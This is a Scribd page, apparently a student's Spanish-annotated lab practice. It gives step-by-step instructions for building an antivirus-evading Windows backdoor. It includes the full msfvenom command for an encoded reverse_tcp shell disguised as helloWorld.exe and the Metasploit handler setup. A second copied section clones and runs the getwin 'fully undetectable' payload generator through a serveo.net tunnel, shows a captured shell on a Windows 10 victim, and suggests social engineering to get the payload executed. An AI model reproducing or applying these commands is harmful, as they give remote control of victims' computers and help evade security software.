Scribd Logo
Upload

Welcome to Scribd!

  • 208 views

    Practica Backdoor

    Uploaded by

    Luis Alberto Gp
    The document describes how to create an undetectable backdoor using MSFvenom in Kali Linux. It involves using MSFvenom to generate a reverse shell payload that is encoded to evade antivirus detection. When the victim runs the payload file, it will connect back to the attacker's machine, allowing the attacker to remotely control the victim's computer. The document provides steps for generating the payload, launching Metasploit to receive the connection, and learning about computer security vulnerabilities that can be exploited through this process.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd

    Practica Backdoor

    Uploaded by

    Luis Alberto Gp
    208 views6 pages
    The document describes how to create an undetectable backdoor using MSFvenom in Kali Linux. It involves using MSFvenom to generate a reverse shell payload that is encoded to evade antivirus detection. When the victim runs the payload file, it will connect back to the attacker's machine, allowing the attacker to remotely control the victim's computer. The document provides steps for generating the payload, launching Metasploit to receive the connection, and learning about computer security vulnerabilities that can be exploited through this process.

    Original Description:

    Practica Backdoor

    Copyright

    © © All Rights Reserved

    Available Formats

    DOCX, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    The document describes how to create an undetectable backdoor using MSFvenom in Kali Linux. It involves using MSFvenom to generate a reverse shell payload that is encoded to evade antivirus detection. When the victim runs the payload file, it will connect back to the attacker's machine, allowing the attacker to remotely control the victim's computer. The document provides steps for generating the payload, launching Metasploit to receive the connection, and learning about computer security vulnerabilities that can be exploited through this process.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Download as docx, pdf, or txt
    208 views6 pages

    Practica Backdoor

    Uploaded by

    Luis Alberto Gp
    The document describes how to create an undetectable backdoor using MSFvenom in Kali Linux. It involves using MSFvenom to generate a reverse shell payload that is encoded to evade antivirus detection. When the victim runs the payload file, it will connect back to the attacker's machine, allowing the attacker to remotely control the victim's computer. The document provides steps for generating the payload, launching Metasploit to receive the connection, and learning about computer security vulnerabilities that can be exploited through this process.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Download as docx, pdf, or txt
    of 6

    How to Create a Nearly

    Undetectable Backdoor using


    MSFvenom in Kali Linux
    A backdoor is used to bypass security mechanisms, often secretly and mostly undetectably.
    Using MSFvenom, the combination of msfpayload and msfencode, it's possible to create a
    backdoor that connects back to the attacker by using reverse shell TCP. In order to develop
    a backdoor, you need to change the signature of your malware to evade any antivirus
    software. Complete this project on a pair of computers that you have permission to access,
    and in the process, you'll learn more about computer security and how this kind of backdoor
    works.

    Steps
    1. Start up Kali and fire up the Terminal console.

    2. Type i fc onfi g to display the interface and check your IP address.

    3. Type m s f v e n o m - l e n c o d e r s to show the list of encoders.


    You will use x 8 6 / s h i k a t a _ g a _ n a i as the encoder.
    4. Type "msfvenom -a x86 --platform windows -p
    windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b
    "\x00" -e x86/shikata_ga_nai -f exe > helloWorld.exe
     -a x86 --platform windows designates architecture to use.
     -p windows/shell/reverse_tcp designates the payloads to
    embed.
     LHOST designates the listener IP address.
     LPORT designates the listener port.
     -b "\x00" designates to avoid bad character (null bytes).
     -e x86/shikata_ga_nai designates the encoders name.
     -f exe > helloWorld.exe designates format output. “acá pueden
    generar archivos msi, otros executables”
    5. Type m s f c o n s o l e to activate the Metasploit.
     Now you have generated your backdoor. When the victim clicks on
    helloWorld.exe, the shell payload that is embedded will be activated and
    make a connection back to your system. In order to receive the
    connection, you have to open the multi-handler in Metasploit and set the
    payloads.
    6. Type u s e e x p l o i t / m u l t i / h a n d l e r
    7. Type s e t p a y l o a d W i n d o w s / S h e l l / r e v e r s e _ t c p
    8. Type s h o w o p t i o n s
    9. Type s e t L H O S T 1 9 2 . 1 6 8 . 4 8 . 1 2 9 “ l a I P l o c a l d e k a l y ”
    10. Type s e t L P O R T 4 4 4 4 e l d e s e a d o
    11. Type r u n y e s p e r e a q u e l a v i c t i m a s e c o n e c t e

    Probar con Windows y verificar como lo detectarlos antivirus

    Probar lo siguiente

    Windows shell is what, every hacker loves. There are various Windows payloads are designed to
    bypass Windows OS security mechanism. According to ethical hacking researcher of
    international institute of cyber security these payloads are well coded to get sessions of Windows
    OS. There are many different ways of getting reverse shell. Today we will show getwin tool used
    to create Win32 payload and listener.

    Payload generated by this tool is FUD (fully undetectable) by Windows 10 Defender. Do Not
    Upload the payload generated on virustotal.com.

     For testing purposes, On attacker side we will use Kali Linux 2018.4 amd64 and on the Victim
    side we will use Windows 10 1809.
     Open terminal type git clone https://github.com/thelinuxchoice/getwin.git
     Then type cd getwin & type chmod u+x getwin.sh

    root@kali:/home/iicybersecurity/Downloads# git clone https://githu


    b.com/thelinuxchoice/getwin.git

    Cloning into 'getwin'…

    remote: Enumerating objects: 46, done.

    remote: Total 46 (delta 0), reused 0 (delta 0), pack-reused 46

    Unpacking objects: 100% (46/46), done.

    root@kali:/home/iicybersecurity/Downloads# cd getwin/

    root@kali:/home/iicybersecurity/Downloads/getwin# chmod u+x getwi


    n.sh
    root@kali:/home/iicybersecurity/Downloads/getwin# ls

    getwin.sh icon LICENSE README.md

     Type ./getwin.sh

    root@kali:/home/iicybersecurity/Downloads/getwin# ./getwin.sh

    _______ _ _ _ _
    (_______) _ (_)(_)(_)(_)
    _ ___ _____ _| |_ _ _ _ _ ____
    | | (_ || ___ |(_ _)| || || || || _ \
    | |___) || ____| | |_ | || || || || | | |
    \_____/ |_____) \__) \_____/ |_||_| |_|v1.2

    .:.: FUD win32 payload generator and listener :.:.


    .:.: Coded by:@linux_choice :.:.

    :: Warning: Attacking targets without ::


    :: prior mutual consent is illegal! ::
     After the tool has started, press enter to set default port. Then enter payload name(test01)
    and select the icon.

    [*] Choose a Port (Default: 4098 ):

    [*] Payload name (Default: payload ): test01

    [] Put ICON path (Default: icon/messenger.ico ): [] Compiling…

    [] Saved: test01.exe [!] Please, don't upload to virustotal.com !


    [] Starting server…

    [*] Send the first link above to target + /test01.exe:

    Forwarding HTTP traffic from https://ludius.serveo.net

    Forwarding TCP connections from serveo.net:2119

    [*] Waiting connection…

    listening on [any] 1547 …


     As you can see listener connection has started. Now you can use any social engineering trick
    to execute the payload in victim computer.
     For testing we will use Windows 10 1809 with Windows Defender enabled.

     So now we will execute the payload in Windows 10 OS.


     After creating the payload (test01.exe). Execute the payload (test01.exe). Simply double click
    the executable.
     As you double click on the payload (test01.exe). A session will be created between victim and
    the target machine and you will get windows shell.
     Tools like this are the part of ethical hacking courses offered by International Institute of
    Cyber Security
    Do Not Upload the payload generated on virustotal.com

    [*] Waiting connection…

    listening on [any] 4342 …

    connect to [127.0.0.1] from localhost [127.0.0.1] 43878

    TCP connection from 27.4.174.190 on port 3352

    Microsoft Windows [Version 10.0.17758.1]

    (c) 2018 Microsoft Corporation. All rights reserved.

    E:>C:

    C:

    C:>ipconfig
    ipconfig

    Windows IP Configuration

    Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix . :

    Link-local IPv6 Address . . . . . : fe80::c947:1c34:3f73:be30%


    13

    IPv4 Address. . . . . . . . . . . : 192.168.1.5

    Subnet Mask . . . . . . . . . . . : 255.255.255.0

    Default Gateway . . . . . . . . . : fe80::1%13

    192.168.1.1

    C:>getmac

    getmac

    Physical Address Transport Name

    =================== =============================================
    =============

    ##-##-##-E8-##-## \Device\Tcpip_{F237F6ED-8EC9-42C1-93F8-E95EDB
    31D7FC}

    (For security reasons we have hide the MAC address)

     Now attacker can change or view any file of target’s Windows 10 computer.

    You might also like

    pFad - Phonifier reborn

    Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

    Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


    Alternative Proxies:

    Alternative Proxy

    pFad Proxy

    pFad v3 Proxy

    pFad v4 Proxy